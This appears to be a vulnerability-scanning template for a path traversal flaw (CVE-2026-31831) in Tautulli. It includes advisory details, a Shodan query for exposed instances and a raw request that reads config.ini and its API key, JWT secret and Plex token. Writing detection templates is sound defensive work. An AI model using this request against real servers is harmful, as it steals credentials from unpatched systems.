id: CVE-2026-31831 info: name: Tautulli <= 2.16.1 - Path Traversal author: WRG-11 severity: high description: | Tautulli is a monitoring and tracking tool for Plex Media Server. Prior to version 2.17.0, the `/newsletter/image/images` endpoint joins user-controlled path segments onto the newsletter image directory without containment validation. Authentication is not required for this endpoint, allowing unauthenticated attackers to perform directory traversal and read arbitrary files accessible to the server process. Reading `config/config.ini` discloses the API key, the hashed admin password, the JWT token secret, and the Plex Media Server token. Version 2.17.0 fixes this issue. impact: | Unauthenticated attackers can read arbitrary files accessible to the server, including `config.ini` (API key, hashed admin password, JWT secret, Plex token) and `tautulli.db` (active JWT tokens). remediation: | Update to version 2.17.0 or later. reference: - https://github.com/Tautulli/Tautulli/security/advisories/GHSA-xp55-2pf4-fv8m - https://nvd.nist.gov/vuln/detail/CVE-2026-31831 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-31831 epss-score: 0.01587 epss-percentile: 0.73046 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: tautulli product: tautulli shodan-query: http.title:"Tautulli" tags: cve,cve2026,tautulli,lfi,traversal http: - raw: - | GET /newsletter/image/images/..%2F..%2F..%2F..%2F..%2F..%2Fconfig%2Fconfig.ini HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "[General]" - "[PMS]" - "pms_identifier" condition: and - type: word part: content_type words: - "image/png" - type: status status: - 200 # digest: 4b0a00483046022100eca5e508d6066887f85447b0a71ba9155d47c0dd717e9d033b08af83c4683b46022100fb8915e8bd3c4a818318bc70c33e39cbff4536dac7ce4d6fd01eb3f0c6015c17:922c64590222798bb761d5b6d8e72950